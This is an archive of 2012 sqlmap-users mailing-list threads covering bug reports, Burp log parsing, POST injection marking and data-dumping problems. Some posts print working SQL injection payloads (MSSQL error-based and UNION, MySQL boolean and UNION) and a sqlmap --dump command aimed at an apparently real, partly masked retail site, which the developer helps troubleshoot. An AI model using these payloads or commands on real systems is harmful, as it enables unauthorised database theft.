sqlmap-users — sqlmap users mailing list

Re: [sqlmap-users] POST Data parameter marking

[Steven P. <ste...@gm...>]

Seems to do what I wanted.  Turns out my particular case was a false
positive so extraction hasn't been tested, but I examined the traffic
for the testing probes and they are all in the right place and
everything in that stage works for one or more injection points.

Thanks!

Miroslav Stampar wrote:
> Hi Steve.
> 
> Could you please test this with the latest r5004?
> 
> Kind regards,
> Miroslav Stampar
> 
> On Mon, Apr 16, 2012 at 8:45 PM, Miroslav Stampar
> <mir...@gm... <mailto:mir...@gm...>> wrote:
> 
>     Hi Steve.
> 
>     As there were requests for this same feature before we'll try to
>     implement it these days. Will keep you posted.
> 
>     Kind regards,
>     Miroslav Stampar
> 
>     On Mon, Apr 16, 2012 at 8:40 PM, Steve Pinkham
>     <ste...@gm... <mailto:ste...@gm...>> wrote:
> 
>         I have an app that has post data like this:
> 
>         loginxml=%3Ccom.customcode%3E%0A%09%3Cusername%3Easdf%3C%2Fusername%3E%0A%09%3Cpassword%3Eqwerty%3C%2Fpassword%3E%0A%3C%2Fcom.customcode%3E
> 
>         Which looks like this decoded:
>         loginxml=<com.customcode>
>                <username>asdf</username>
>                <password>qwerty</password>
>         </com.customcode>
> 
>         Is there a way to mark injection locations after the asdf and
>         qwerty?
>         The * method that works on the URL does not seem to work on POST
>         data,
>         nor does this format fit easily with the --param-del option.
>         --
>          | Steven Pinkham, Security Consultant    |
>          | http://www.mavensecurity.com           |
>          | GPG public key ID E9E996C1             |
> 
> 
>         ------------------------------------------------------------------------------
>         For Developers, A Lot Can Happen In A Second.
>         Boundary is the first to Know...and Tell You.
>         Monitor Your Applications in Ultra-Fine Resolution. Try it FREE!
>         http://p.sf.net/sfu/Boundary-d2dvs2
> 
>         _______________________________________________
>         sqlmap-users mailing list
>         sql...@li...
>         <mailto:sql...@li...>
>         https://lists.sourceforge.net/lists/listinfo/sqlmap-users
> 
> 
> 
> 
>     -- 
>     Miroslav Stampar
>     http://about.me/stamparm
> 
> 
> 
> 
> -- 
> Miroslav Stampar
> http://about.me/stamparm
> --485b397dd11f960af804bde0a2d9--€

-- 
 | Steven Pinkham, Security Consultant    |
 | http://www.mavensecurity.com           |
 | GPG public key ID E9E996C1             |

Re: [sqlmap-users] Bug :(

[Miroslav S. <mir...@gm...>]

Hi Reelix.

You are fairly old version of sqlmap. Please follow instructions from (p.s.
section) here:
http://permalink.gmane.org/gmane.comp.security.sqlmap/2053

Kind regards,
Miroslav Stampar

On Wed, Apr 18, 2012 at 5:50 PM, Reelix <re...@gm...> wrote:

> C:\1\SQL Map>sqlmap.py -u http://www.google.com/ --headers=Accept-Language
>
>    sqlmap/0.9 - automatic SQL injection and database takeover tool
>    http://sqlmap.sourceforge.net
>
> [*] starting at: 17:50:11
>
>
> [17:50:11] [CRITICAL] unhandled exception in sqlmap/0.9, retry your run
> with the
>  latest development version from the Subversion repository. If the
> exception per
> sists, please send by e-mail to sql...@li... the
> following
>  text and any information required to reproduce the bug. The developers
> will try
>  to reproduce the bug, fix it accordingly and get back to you.
> sqlmap version: 0.9 (r3630)
> Python version: 2.7.2
> Operating system: nt
> Command line: C:\1\SQL Map\sqlmap.py -u **********************
> --headers=Accept-
> Language
> Technique: None
> Back-end DBMS: None (identified)
> Traceback (most recent call last):
>  File "C:\1\SQL Map\sqlmap.py", line 74, in main
>    init(cmdLineOptions)
>  File "C:\1\SQL Map\lib\core\option.py", line 1568, in init
>    __setHTTPExtraHeaders()
>  File "C:\1\SQL Map\lib\core\option.py", line 1010, in
> __setHTTPExtraHeaders
>    header, value = headerValue.split(": ")
> ValueError: need more than 1 value to unpack
>
> [*] shutting down at: 17:50:11
>
>
> C:\1\SQL Map>
>
>
> ------------------------------------------------------------------------------
> Better than sec? Nothing is better than sec when it comes to
> monitoring Big Data applications. Try Boundary one-second
> resolution app monitoring today. Free.
> http://p.sf.net/sfu/Boundary-dev2dev
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>



-- 
Miroslav Stampar
http://about.me/stamparm

[sqlmap-users] Bug :(

[Reelix <re...@gm...>]

C:\1\SQL Map>sqlmap.py -u http://www.google.com/ --headers=Accept-Language

    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[*] starting at: 17:50:11


[17:50:11] [CRITICAL] unhandled exception in sqlmap/0.9, retry your run with the
 latest development version from the Subversion repository. If the exception per
sists, please send by e-mail to sql...@li... the following
 text and any information required to reproduce the bug. The developers will try
 to reproduce the bug, fix it accordingly and get back to you.
sqlmap version: 0.9 (r3630)
Python version: 2.7.2
Operating system: nt
Command line: C:\1\SQL Map\sqlmap.py -u ********************** --headers=Accept-
Language
Technique: None
Back-end DBMS: None (identified)
Traceback (most recent call last):
  File "C:\1\SQL Map\sqlmap.py", line 74, in main
    init(cmdLineOptions)
  File "C:\1\SQL Map\lib\core\option.py", line 1568, in init
    __setHTTPExtraHeaders()
  File "C:\1\SQL Map\lib\core\option.py", line 1010, in __setHTTPExtraHeaders
    header, value = headerValue.split(": ")
ValueError: need more than 1 value to unpack

[*] shutting down at: 17:50:11


C:\1\SQL Map>

Re: [sqlmap-users] POST Data parameter marking

[Miroslav S. <mir...@gm...>]

Hi Steve.

Could you please test this with the latest r5004?

Kind regards,
Miroslav Stampar

On Mon, Apr 16, 2012 at 8:45 PM, Miroslav Stampar <
mir...@gm...> wrote:

> Hi Steve.
>
> As there were requests for this same feature before we'll try to implement
> it these days. Will keep you posted.
>
> Kind regards,
> Miroslav Stampar
>
> On Mon, Apr 16, 2012 at 8:40 PM, Steve Pinkham <ste...@gm...>wrote:
>
>> I have an app that has post data like this:
>>
>>
>> loginxml=%3Ccom.customcode%3E%0A%09%3Cusername%3Easdf%3C%2Fusername%3E%0A%09%3Cpassword%3Eqwerty%3C%2Fpassword%3E%0A%3C%2Fcom.customcode%3E
>>
>> Which looks like this decoded:
>> loginxml=<com.customcode>
>>        <username>asdf</username>
>>        <password>qwerty</password>
>> </com.customcode>
>>
>> Is there a way to mark injection locations after the asdf and qwerty?
>> The * method that works on the URL does not seem to work on POST data,
>> nor does this format fit easily with the --param-del option.
>> --
>>  | Steven Pinkham, Security Consultant    |
>>  | http://www.mavensecurity.com           |
>>  | GPG public key ID E9E996C1             |
>>
>>
>>
>> ------------------------------------------------------------------------------
>> For Developers, A Lot Can Happen In A Second.
>> Boundary is the first to Know...and Tell You.
>> Monitor Your Applications in Ultra-Fine Resolution. Try it FREE!
>> http://p.sf.net/sfu/Boundary-d2dvs2
>>
>> _______________________________________________
>> sqlmap-users mailing list
>> sql...@li...
>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>
>>
>
>
> --
> Miroslav Stampar
> http://about.me/stamparm
>



-- 
Miroslav Stampar
http://about.me/stamparm

Re: [sqlmap-users] How to avoid stoping the probes due to timeouts

[Miroslav S. <mir...@gm...>]

Hi seth.

You can force usage of non-time based techniques by:
--technique=BEU

That will skip time/stacked injection tests.

Kind regards,
Miroslav Stampar

On Wed, Apr 18, 2012 at 4:12 AM, seth <xd...@gm...> wrote:

> There is a website which has some sort of (bad) web application firewall
> that calls sleep() with a high value every time it detects an attack.
> When running sqlmap agaist this website, it stops the probes after
> finding a url that triggers this behavior.
> Is there any way to tell sqlmap to treat a timeout as 'not vulnerable to
> this technique'?
>
>
> ------------------------------------------------------------------------------
> Better than sec? Nothing is better than sec when it comes to
> monitoring Big Data applications. Try Boundary one-second
> resolution app monitoring today. Free.
> http://p.sf.net/sfu/Boundary-dev2dev
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>



-- 
Miroslav Stampar
http://about.me/stamparm

[sqlmap-users] How to avoid stoping the probes due to timeouts

[seth <xd...@gm...>]

There is a website which has some sort of (bad) web application firewall
that calls sleep() with a high value every time it detects an attack.
When running sqlmap agaist this website, it stops the probes after
finding a url that triggers this behavior.
Is there any way to tell sqlmap to treat a timeout as 'not vulnerable to
this technique'?

Re: [sqlmap-users] POST Data parameter marking

[Miroslav S. <mir...@gm...>]

Hi Steve.

As there were requests for this same feature before we'll try to implement
it these days. Will keep you posted.

Kind regards,
Miroslav Stampar

On Mon, Apr 16, 2012 at 8:40 PM, Steve Pinkham <ste...@gm...>wrote:

> I have an app that has post data like this:
>
>
> loginxml=%3Ccom.customcode%3E%0A%09%3Cusername%3Easdf%3C%2Fusername%3E%0A%09%3Cpassword%3Eqwerty%3C%2Fpassword%3E%0A%3C%2Fcom.customcode%3E
>
> Which looks like this decoded:
> loginxml=<com.customcode>
>        <username>asdf</username>
>        <password>qwerty</password>
> </com.customcode>
>
> Is there a way to mark injection locations after the asdf and qwerty?
> The * method that works on the URL does not seem to work on POST data,
> nor does this format fit easily with the --param-del option.
> --
>  | Steven Pinkham, Security Consultant    |
>  | http://www.mavensecurity.com           |
>  | GPG public key ID E9E996C1             |
>
>
>
> ------------------------------------------------------------------------------
> For Developers, A Lot Can Happen In A Second.
> Boundary is the first to Know...and Tell You.
> Monitor Your Applications in Ultra-Fine Resolution. Try it FREE!
> http://p.sf.net/sfu/Boundary-d2dvs2
>
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>


-- 
Miroslav Stampar
http://about.me/stamparm

[sqlmap-users] POST Data parameter marking

[Steve P. <ste...@gm...>]

I have an app that has post data like this:

loginxml=%3Ccom.customcode%3E%0A%09%3Cusername%3Easdf%3C%2Fusername%3E%0A%09%3Cpassword%3Eqwerty%3C%2Fpassword%3E%0A%3C%2Fcom.customcode%3E

Which looks like this decoded:
loginxml=<com.customcode>
	<username>asdf</username>
	<password>qwerty</password>
</com.customcode>

Is there a way to mark injection locations after the asdf and qwerty?
The * method that works on the URL does not seem to work on POST data,
nor does this format fit easily with the --param-del option.
-- 
 | Steven Pinkham, Security Consultant    |
 | http://www.mavensecurity.com           |
 | GPG public key ID E9E996C1             |

Re: [sqlmap-users] raise InvalidURL nonnumeric port

[Miroslav S. <mir...@gm...>]

Hi Julia.

Sorry for taking so long to respond.

There are two things that need to be considered before giving a conclusion
on this one:
A) this is a rare case with both redirection and Host header being involved
containing character ':'
B) we've removed a week ago Host header from a default scan on higher
--level/--risk values (user has to explicitly either set 'Host' header
value and/or use -p host together with higher --level/--risk values)

Now, as this is all caused by (IMO) messy programming code of httplib's
_set_hostport() method (...i = host.rfind(':')...j = host.rfind(']')...)
and with those facts given above, this is going to be one of those "stay as
it is" bugs. It's just not worth doing "just in case" dirty patch for such
cases especially because of fact B.

Hence, thank you for your report, but this will be handled only in case of
a second report.

Kind regards

On Wed, Apr 11, 2012 at 12:03 AM, Miroslav Stampar <
mir...@gm...> wrote:

> Hi Julia.
>
> On Tue, Apr 10, 2012 at 11:40 PM, Julia Wolf <jw...@fi...> wrote:
>
>> On Fri, 6 Apr 2012, Miroslav Stampar wrote:
>>
>>  On Fri, Apr 6, 2012 at 2:09 AM, Julia Wolf <jw...@fi...> wrote:
>>>
>>>   Unrelated... I can't seem to get SQLMap to fully parse Burp logs. It
>>>> says
>>>>
>>>> [19:13:04] [DEBUG] parsing targets list from '/home/jwolf/burpreq.log'
>>>> [19:13:05] [INFO] sqlmap parsed 18 testable requests from the targets
>>>> list
>>>> [19:13:05] [INFO] sqlmap got a total of 18 targets
>>>>
>>>>  I know there's more than eighteen targets...
>>>>
>>>>
>>  Are you sure there are more than 18 targets with unique parameters
>>> inside?
>>> That uniq says unique strings it found, but it doesn't go through
>>> parameter
>>> names to see what can be exploited.
>>>
>>
>>  There are 293 fields in my recorded session.
>>
>>  Another odd thing about this, I chopped the first 509600 bytes (8%) off
>> the beginning of the Burp log (on a record boundary of course) and SQLMap
>> still reports that it only found 18 targets -- but it will still always
>> start with the first URL from the Burp log anyway. (I chopped it elsewhere
>> previously with the same result.)
>>
>>  I mean if the Burp log starts with:
>>
>> ==============================**========================
>> 6:25:56 PM  https://10.6.1.142:443
>> ==============================**========================
>> POST /analysis/filter HTTP/1.1
>> Host: 10.6.1.142
>> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:11.0)
>> Gecko/20100101 Firefox/11.0
>> Accept: text/javascript, text/html, application/xml, text/xml, */*
>> [blah blah blah...]
>> Content-Length: ...
>> Cookie: _session_id=**ab36ffc767c4fea19473af1a10a03d**671;
>> Cache-Control: no-cache
>>
>> utf8=%E2%9C%93&token=**0Uocx9Clc&filter_text=moo&**
>> case_sensitive=1&username=foo
>> ==============================**========================
>> HTTP/1.1 200 OK
>> Date: Thu, 05 Apr 2012 01:25:56 GMT
>> Server: Whatever 2.0
>> Content-Type: text/javascript; charset=utf-8
>> [...]
>>
>> ... Then SQLMap will start testing this URI, with these parameters
>> correctly.
>>
>>  Oh, I may have spoken too soon... SQLMap seems to be sticking the
>> "=============================**=========================" division onto
>> the end of the last field, "username=foo=================**
>> ==============================**======="
>
> Fixed with last revision r4979
>
>
>> in this example. But other than that it seems to be working ok. (And I
>> mean, 'ok' until it crashes with "InvalidURL: nonnumeric port:" )
>>
>> Will take a look
>
> KInd regards
>
>
>
> --
> Miroslav Stampar
> http://about.me/stamparm
>



-- 
Miroslav Stampar
http://about.me/stamparm

Re: [sqlmap-users] raise InvalidURL nonnumeric port

[Miroslav S. <mir...@gm...>]

Hi Julia.

On Tue, Apr 10, 2012 at 11:40 PM, Julia Wolf <jw...@fi...> wrote:

> On Fri, 6 Apr 2012, Miroslav Stampar wrote:
>
>  On Fri, Apr 6, 2012 at 2:09 AM, Julia Wolf <jw...@fi...> wrote:
>>
>>   Unrelated... I can't seem to get SQLMap to fully parse Burp logs. It
>>> says
>>>
>>> [19:13:04] [DEBUG] parsing targets list from '/home/jwolf/burpreq.log'
>>> [19:13:05] [INFO] sqlmap parsed 18 testable requests from the targets
>>> list
>>> [19:13:05] [INFO] sqlmap got a total of 18 targets
>>>
>>>  I know there's more than eighteen targets...
>>>
>>>
>  Are you sure there are more than 18 targets with unique parameters inside?
>> That uniq says unique strings it found, but it doesn't go through
>> parameter
>> names to see what can be exploited.
>>
>
>  There are 293 fields in my recorded session.
>
>  Another odd thing about this, I chopped the first 509600 bytes (8%) off
> the beginning of the Burp log (on a record boundary of course) and SQLMap
> still reports that it only found 18 targets -- but it will still always
> start with the first URL from the Burp log anyway. (I chopped it elsewhere
> previously with the same result.)
>
>  I mean if the Burp log starts with:
>
> ==============================**========================
> 6:25:56 PM  https://10.6.1.142:443
> ==============================**========================
> POST /analysis/filter HTTP/1.1
> Host: 10.6.1.142
> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:11.0)
> Gecko/20100101 Firefox/11.0
> Accept: text/javascript, text/html, application/xml, text/xml, */*
> [blah blah blah...]
> Content-Length: ...
> Cookie: _session_id=**ab36ffc767c4fea19473af1a10a03d**671; Cache-Control:
> no-cache
>
> utf8=%E2%9C%93&token=**0Uocx9Clc&filter_text=moo&**
> case_sensitive=1&username=foo
> ==============================**========================
> HTTP/1.1 200 OK
> Date: Thu, 05 Apr 2012 01:25:56 GMT
> Server: Whatever 2.0
> Content-Type: text/javascript; charset=utf-8
> [...]
>
> ... Then SQLMap will start testing this URI, with these parameters
> correctly.
>
>  Oh, I may have spoken too soon... SQLMap seems to be sticking the
> "=============================**=========================" division onto
> the end of the last field, "username=foo=================**
> ==============================**======="

Fixed with last revision r4979


> in this example. But other than that it seems to be working ok. (And I
> mean, 'ok' until it crashes with "InvalidURL: nonnumeric port:" )
>
> Will take a look

KInd regards


-- 
Miroslav Stampar
http://about.me/stamparm

Re: [sqlmap-users] raise InvalidURL nonnumeric port

[Julia W. <jw...@fi...>]

On Fri, 6 Apr 2012, Miroslav Stampar wrote:

> On Fri, Apr 6, 2012 at 2:09 AM, Julia Wolf <jw...@fi...> wrote:
>
>>  Unrelated... I can't seem to get SQLMap to fully parse Burp logs. It says
>>
>> [19:13:04] [DEBUG] parsing targets list from '/home/jwolf/burpreq.log'
>> [19:13:05] [INFO] sqlmap parsed 18 testable requests from the targets list
>> [19:13:05] [INFO] sqlmap got a total of 18 targets
>>
>>  I know there's more than eighteen targets...
>>

> Are you sure there are more than 18 targets with unique parameters inside?
> That uniq says unique strings it found, but it doesn't go through parameter
> names to see what can be exploited.

   There are 293 fields in my recorded session.

   Another odd thing about this, I chopped the first 509600 bytes (8%) off 
the beginning of the Burp log (on a record boundary of course) and SQLMap 
still reports that it only found 18 targets -- but it will still always 
start with the first URL from the Burp log anyway. (I chopped it elsewhere 
previously with the same result.)

   I mean if the Burp log starts with:

======================================================
6:25:56 PM  https://10.6.1.142:443
======================================================
POST /analysis/filter HTTP/1.1
Host: 10.6.1.142
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:11.0) Gecko/20100101 Firefox/11.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
[blah blah blah...]
Content-Length: ...
Cookie: _session_id=ab36ffc767c4fea19473af1a10a03d671; 
Cache-Control: no-cache

utf8=%E2%9C%93&token=0Uocx9Clc&filter_text=moo&case_sensitive=1&username=foo
======================================================
HTTP/1.1 200 OK
Date: Thu, 05 Apr 2012 01:25:56 GMT
Server: Whatever 2.0
Content-Type: text/javascript; charset=utf-8
[...]

... Then SQLMap will start testing this URI, with these parameters 
correctly.

   Oh, I may have spoken too soon... SQLMap seems to be sticking the 
"======================================================" division onto the 
end of the last field, 
"username=foo======================================================" in 
this example. But other than that it seems to be working ok. (And I mean, 
'ok' until it crashes with "InvalidURL: nonnumeric port:" )

Re: [sqlmap-users] sqlmap stuck + can not retrieve all rows in aerror based sql injection

[Miroslav S. <mir...@gm...>]

Hi.

On Tue, Apr 10, 2012 at 5:00 PM, Daniel Shapira <fai...@gm...
> wrote:

> Hey guys
> i have a problem here
> take a look
> sqlmap almost always stuck with the message - [WARNING] no proper pivot
> column
> provided (with unique values). It wo
> n't be possible to retrieve all rows
>
This is exactly what it says. As there is no LIMIT/OFFSET mechanism in
MsSQL we use "pivoting" for retrieving data in MsSQL. Unique values for one
column are retrieved while the rest of columns are retrieved through "WHERE
<pivot_column>=current" relation.

> even if i let it run for days it will not dump a thing,
>
People. If sqlmap doesn't dump anything "for minutes" then there is no need
for running it "for days". In those kind of situations options like
--parse-errors or -t traffic.txt are gold.

> sometimes it does retrieve some data put out of 1000 rows it will return
> around
> 10 rows only
>
Is there a way for you to send me privately content of traffic file for
such run (you just have to append --fresh-queries -t traffic.txt to the end
of used commands)

Also, it would be great if you could just try for yourself to run that case
with --no-cast switch and report back if that helped

Kind regards,
Miroslav Stampar

> hope someone can help me with that
> thanks
> Microsoft Windows [Version 6.1.7600]
> Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
>
> F:\Users\Dan>cd desktop/sqlmap
>
> F:\Users\Dan\Desktop\sqlmap>sqlmap.py --random-agent -u
> http://www.xxxxxxxx.co.il:80/forgotpass.asp--data="cmdLogin==???&sEmail=1" -D
> camera4less -T dbo.xxxx -C xxx,xxx,xxx,xxx --dump
>
>     sqlmap/1.0-dev (r4976) - automatic SQL injection and database takeover
> tool
>     http://www.sqlmap.org
>
> [!] legal disclaimer: usage of sqlmap for attacking targets without prior
> mutual
>  consent is illegal. It is the end user's responsibility to obey all
> applicable
> local, state and federal laws. Authors assume no liability and are not
> responsib
> le for any misuse or damage caused by this program
>
> [*] starting at 17:49:12
>
> [17:49:13] [INFO] fetched random HTTP User-Agent header from file
> 'F:\Users\xxx\
> Desktop\sqlmap\txt\user-agents.txt': Mozilla/5.0 (X11; U; Linux x86_64;
> en-US) A
> ppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.354.0 Safari/533.3
> [17:49:13] [INFO] using 'F:\Users\xxx\Desktop\sqlmap\output\www.xxxxx.co.i
> l\session' as session file
> [17:49:13] [INFO] resuming back-end DBMS 'microsoft sql server 2000' from
> sessio
> n file
> [17:49:13] [INFO] testing connection to the target url
> sqlmap identified the following injection points with a total of 0 HTTP(s)
> reque
> sts:
> ---
> Place: POST
> Parameter: sEmail
>     Type: error-based
>     Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING
> clause
>     Payload: cmdLogin==???&sEmail=1' AND
> 6043=CONVERT(INT,(CHAR(58)+CHAR(111)+CH
> AR(102)+CHAR(98)+CHAR(58)+(SELECT (CASE WHEN (6043=6043) THEN CHAR(49)
> ELSE CHAR
> (48) END))+CHAR(58)+CHAR(101)+CHAR(111)+CHAR(105)+CHAR(58))) AND
> 'rxzU'='rxzU
>
>     Type: UNION query
>     Title: Generic UNION query (NULL) - 2 columns
>     Payload: cmdLogin==???&sEmail=1' UNION ALL SELECT
> CHAR(58)+CHAR(111)+CHAR(10
>
> 2)+CHAR(98)+CHAR(58)+CHAR(110)+CHAR(68)+CHAR(79)+CHAR(87)+CHAR(108)+CHAR(111)+CH
>
> AR(87)+CHAR(121)+CHAR(87)+CHAR(90)+CHAR(58)+CHAR(101)+CHAR(111)+CHAR(105)+CHAR(5
> 8), NULL--  AND 'lpxC'='lpxC
> ---
>
> [17:49:13] [INFO] the back-end DBMS is Microsoft SQL Server
> web server operating system: Windows 2003
> web application technology: ASP.NET, Microsoft IIS 6.0, ASP
> back-end DBMS: Microsoft SQL Server 2000
> do you want sqlmap to consider provided column(s):
> [1] as LIKE column names (default)
> [2] as exact column names
> > 2
>
> [17:49:17] [INFO] fetching columns 'xxx, xxx, xxx, xxx' for table 'xxx' in
> database 'xxx'
> [17:49:17] [INFO] the SQL query used returns 4 entries
> [17:49:17] [INFO] resumed: "xxx","varchar"
> [17:49:17] [INFO] resumed: "xxx","varchar"
> [17:49:17] [INFO] resumed: "xxx","varchar"
> [17:49:17] [INFO] resumed: "xxx","varchar"
> [17:49:17] [INFO] fetching entries of column(s) 'xxx, xxx, xxx, xxx' for
> table
> 'purchase' in database 'xxx'
> [17:49:17] [INFO] fetching number of distinct values for column 'xxx'
> [17:49:18] [INFO] fetching number of distinct values for column 'xxx'
> [17:49:18] [INFO] fetching number of distinct values for column 'xxx
> me'
> [17:49:18] [INFO] fetching number of distinct values for column 'xxx'
> [17:49:18] [WARNING] no proper pivot column provided (with unique values).
> It wo
> n't be possible to retrieve all rows
>
>
> ------------------------------------------------------------------------------
> Better than sec? Nothing is better than sec when it comes to
> monitoring Big Data applications. Try Boundary one-second
> resolution app monitoring today. Free.
> http://p.sf.net/sfu/Boundary-dev2dev
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>


-- 
Miroslav Stampar
http://about.me/stamparm

[sqlmap-users] sqlmap stuck + can not retrieve all rows in aerror based sql injection

[Daniel S. <fai...@gm...>]

Hey guys
i have a problem here
take a look
sqlmap almost always stuck with the message - [WARNING] no proper pivot
column
provided (with unique values). It wo
n't be possible to retrieve all rows
even if i let it run for days it will not dump a thing,
sometimes it does retrieve some data put out of 1000 rows it will return
around
10 rows only
hope someone can help me with that
thanks
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

F:\Users\Dan>cd desktop/sqlmap

F:\Users\Dan\Desktop\sqlmap>sqlmap.py --random-agent -u
http://www.xxxxxxxx.co.il:80/forgotpass.asp --data="cmdLogin==???&sEmail=1"
-D
camera4less -T dbo.xxxx -C xxx,xxx,xxx,xxx --dump

    sqlmap/1.0-dev (r4976) - automatic SQL injection and database takeover
tool
    http://www.sqlmap.org

[!] legal disclaimer: usage of sqlmap for attacking targets without prior
mutual
 consent is illegal. It is the end user's responsibility to obey all
applicable
local, state and federal laws. Authors assume no liability and are not
responsib
le for any misuse or damage caused by this program

[*] starting at 17:49:12

[17:49:13] [INFO] fetched random HTTP User-Agent header from file
'F:\Users\xxx\
Desktop\sqlmap\txt\user-agents.txt': Mozilla/5.0 (X11; U; Linux x86_64;
en-US) A
ppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.354.0 Safari/533.3
[17:49:13] [INFO] using 'F:\Users\xxx\Desktop\sqlmap\output\www.xxxxx.co.i
l\session' as session file
[17:49:13] [INFO] resuming back-end DBMS 'microsoft sql server 2000' from
sessio
n file
[17:49:13] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s)
reque
sts:
---
Place: POST
Parameter: sEmail
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING
clause
    Payload: cmdLogin==???&sEmail=1' AND
6043=CONVERT(INT,(CHAR(58)+CHAR(111)+CH
AR(102)+CHAR(98)+CHAR(58)+(SELECT (CASE WHEN (6043=6043) THEN CHAR(49) ELSE
CHAR
(48) END))+CHAR(58)+CHAR(101)+CHAR(111)+CHAR(105)+CHAR(58))) AND
'rxzU'='rxzU

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: cmdLogin==???&sEmail=1' UNION ALL SELECT
CHAR(58)+CHAR(111)+CHAR(10
2)+CHAR(98)+CHAR(58)+CHAR(110)+CHAR(68)+CHAR(79)+CHAR(87)+CHAR(108)+CHAR(111)+CH
AR(87)+CHAR(121)+CHAR(87)+CHAR(90)+CHAR(58)+CHAR(101)+CHAR(111)+CHAR(105)+CHAR(5
8), NULL--  AND 'lpxC'='lpxC
---

[17:49:13] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
do you want sqlmap to consider provided column(s):
[1] as LIKE column names (default)
[2] as exact column names
> 2

[17:49:17] [INFO] fetching columns 'xxx, xxx, xxx, xxx' for table 'xxx' in
database 'xxx'
[17:49:17] [INFO] the SQL query used returns 4 entries
[17:49:17] [INFO] resumed: "xxx","varchar"
[17:49:17] [INFO] resumed: "xxx","varchar"
[17:49:17] [INFO] resumed: "xxx","varchar"
[17:49:17] [INFO] resumed: "xxx","varchar"
[17:49:17] [INFO] fetching entries of column(s) 'xxx, xxx, xxx, xxx' for
table
'purchase' in database 'xxx'
[17:49:17] [INFO] fetching number of distinct values for column 'xxx'
[17:49:18] [INFO] fetching number of distinct values for column 'xxx'
[17:49:18] [INFO] fetching number of distinct values for column 'xxx
me'
[17:49:18] [INFO] fetching number of distinct values for column 'xxx'
[17:49:18] [WARNING] no proper pivot column provided (with unique values).
It wo
n't be possible to retrieve all rows

Re: [sqlmap-users] raise InvalidURL nonnumeric port

[Miroslav S. <mir...@gm...>]

On Fri, Apr 6, 2012 at 2:09 AM, Julia Wolf <jw...@fi...> wrote:

> On Fri, 16 Mar 2012, Miroslav Stampar wrote:
>
>  After a through examination I believe that something other is screwed. In
>> your case "Host" header value is used for establishing origin of request
>>
> [...]
>
>  Now, I can't imagine how is this happening. Could you please send me
>> privately more information? What command line have you used (or
>> configuration file in your case)? Also, traffic file (or maybe a part of
>> it) would be great.
>>
>
>  Oops, I meant to get back to you sooner. Anyway, attached is the config
> file, and the beginnings and endings of the inputs and outputs.
>
>  Unrelated... I can't seem to get SQLMap to fully parse Burp logs. It says
>
> [19:13:04] [DEBUG] parsing targets list from '/home/jwolf/burpreq.log'
> [19:13:05] [INFO] sqlmap parsed 18 testable requests from the targets list
> [19:13:05] [INFO] sqlmap got a total of 18 targets
>
>  I know there's more than eighteen targets...
>

Hi.

Are you sure there are more than 18 targets with unique parameters inside?
That uniq says unique strings it found, but it doesn't go through parameter
names to see what can be exploited.

For example:
?a=1&b=2
?a=2&b=3
?a=3&b=4
?a=4&b=5

Uniq would tell you 4 here, but sqlmap counts number of GET/POST parameters
here which is only 2 (a and b)

Kind regards


>
> egrep "^GET|^POST" /home/jwolf/burpreq.log |sort | uniq |wc
>    262     786   15488
>
> grep "^Content-Type: application/x-www-form-**urlencoded"
> /home/jwolf/burpreq.log |wc
>    535    1545   33340
>



-- 
Miroslav Stampar
http://about.me/stamparm

Re: [sqlmap-users] raise InvalidURL nonnumeric port

[Julia W. <jw...@fi...>]

On Fri, 16 Mar 2012, Miroslav Stampar wrote:

> After a through examination I believe that something other is screwed. In
> your case "Host" header value is used for establishing origin of request
[...]
> Now, I can't imagine how is this happening. Could you please send me
> privately more information? What command line have you used (or
> configuration file in your case)? Also, traffic file (or maybe a part of
> it) would be great.

   Oops, I meant to get back to you sooner. Anyway, attached is the config 
file, and the beginnings and endings of the inputs and outputs.

   Unrelated... I can't seem to get SQLMap to fully parse Burp logs. It 
says

[19:13:04] [DEBUG] parsing targets list from '/home/jwolf/burpreq.log'
[19:13:05] [INFO] sqlmap parsed 18 testable requests from the targets list
[19:13:05] [INFO] sqlmap got a total of 18 targets

   I know there's more than eighteen targets...

egrep "^GET|^POST" /home/jwolf/burpreq.log |sort | uniq |wc
     262     786   15488

grep "^Content-Type: application/x-www-form-urlencoded" /home/jwolf/burpreq.log |wc
     535    1545   33340

Re: [sqlmap-users] Bug Found in sql-shell!

[Miroslav S. <mir...@gm...>]

Hi Marco.

Thank you for your report and find it fixed with the latest r4969 commit.

Kind regards,
Miroslav Stampar

On Wed, Apr 4, 2012 at 10:19 PM, Marco Mirandola <mm...@gm...> wrote:

> [22:15:51] [INFO] resuming back-end DBMS 'mysql 5.0.11' from session file
> [22:15:51] [INFO] testing connection to the target url
> sqlmap identified the following injection points with a total of 0 HTTP(s)
> reque
> sts:
> ---
> Place: GET
> Parameter: id
>     Type: boolean-based blind
>     Title: AND boolean-based blind - WHERE or HAVING clause
>     Payload: id=12' AND 7690=7690 AND 'coUR'='coUR
>
>     Type: UNION query
>     Title: MySQL UNION query (NULL) - 2 columns
>     Payload: id=12' UNION ALL SELECT NULL,
> CONCAT(0x3a6e617a3a,0x61476a577a70535
> 36676,0x3a6f61623a)# AND 'vhgF'='vhgF
>
>     Type: AND/OR time-based blind
